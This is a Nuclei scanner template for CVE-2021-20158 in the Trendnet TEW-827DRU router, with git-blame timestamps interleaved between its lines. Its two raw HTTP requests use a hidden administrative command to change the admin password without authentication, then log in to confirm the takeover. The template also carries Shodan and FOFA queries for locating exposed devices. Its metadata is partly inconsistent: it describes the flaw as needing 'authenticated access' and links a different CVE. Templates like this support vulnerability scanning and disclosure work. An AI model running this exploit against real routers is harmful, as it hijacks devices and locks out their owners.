2022-02-04 16:29:16 +00:00
id : CVE-2021-20158
info :
2022-05-09 16:12:52 +00:00
name : Trendnet AC2600 TEW-827DRU 2.08B01 - Admin Password Change
2022-02-04 16:29:16 +00:00
author : gy741
severity : critical
2022-05-09 16:12:52 +00:00
description : Trendnet AC2600 TEW-827DRU version 2.08B01 contains an authentication bypass vulnerability. It is possible for an unauthenticated, malicious actor to force change the admin password due to a hidden administrative command.
2023-09-27 15:51:13 +00:00
impact : |
An attacker with authenticated access can gain unauthorized control over the affected device.
2023-09-06 12:09:01 +00:00
remediation : |
Upgrade to the latest firmware version provided by Trendnet to fix the vulnerability.
2022-02-04 16:29:16 +00:00
reference :
- https://www.tenable.com/security/research/tra-2021-54
- https://nvd.nist.gov/vuln/detail/CVE-2021-20150
2024-06-07 10:04:29 +00:00
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
2022-02-04 16:29:16 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
2022-04-22 10:38:41 +00:00
cvss-score : 9.8
2022-02-04 16:29:16 +00:00
cve-id : CVE-2021-20158
2023-07-11 19:49:27 +00:00
cwe-id : CWE-306
2023-08-31 11:46:18 +00:00
epss-score : 0.01211
2024-06-07 10:04:29 +00:00
epss-percentile : 0.8522
2023-09-06 12:09:01 +00:00
cpe : cpe:2.3:o:trendnet:tew-827dru_firmware:2.08b01:*:*:*:*:*:*:*
2022-02-04 16:29:16 +00:00
metadata :
2023-04-28 08:11:21 +00:00
max-request : 2
2023-07-11 19:49:27 +00:00
vendor : trendnet
product : tew-827dru_firmware
2024-06-07 10:04:29 +00:00
shodan-query :
- http.html:"TEW-827DRU"
- http.html:"tew-827dru"
2024-05-31 19:23:20 +00:00
fofa-query : body="tew-827dru"
2024-01-14 09:21:50 +00:00
tags : cve2021,cve,disclosure,router,intrusive,tenable,trendnet
2023-07-20 07:43:09 +00:00
variables :
password : "{{rand_base(6)}}"
2023-04-27 04:28:59 +00:00
http :
2022-02-04 16:29:16 +00:00
- raw :
- |
POST /apply_sec.cgi HTTP/1.1
Host : {{Hostname}}
2023-07-20 07:43:09 +00:00
ccp_act=set&action=tools_admin_elecom&html_response_page=dummy_value&html_response_return_page=dummy_value&method=tools&admin_password={{password}}
2022-02-04 18:01:10 +00:00
- |
2022-02-04 16:29:16 +00:00
POST /apply_sec.cgi HTTP/1.1
Host : {{Hostname}}
2023-07-20 07:43:09 +00:00
html_response_page=%2Flogin_pic.asp&login_name=YWRtaW4%3D&log_pass={{base64(password)}}&action=do_graph_auth&login_n=admin&tmp_log_pass=&graph_code=&session_id=
2022-02-04 16:29:16 +00:00
matchers-condition : and
matchers :
- type : word
part : body
words :
- 'setConnectDevice'
- 'setInternet'
- 'setWlanSSID'
- 'TEW-827DRU'
condition : and
- type : word
part : header
words :
- "text/html"
2023-07-11 19:49:27 +00:00
- type : status
status :
- 200
2024-06-01 06:53:00 +00:00
# digest: 4a0a0047304502202f0a5616189deeabf3e79f051b432366c41cb9047616bab48038d28d6a4a3d4f022100be9594b79e5243c7cd077e3d67335eb3b3e962999dcc5452ca48888a6980a322:922c64590222798bb761d5b6d8e72950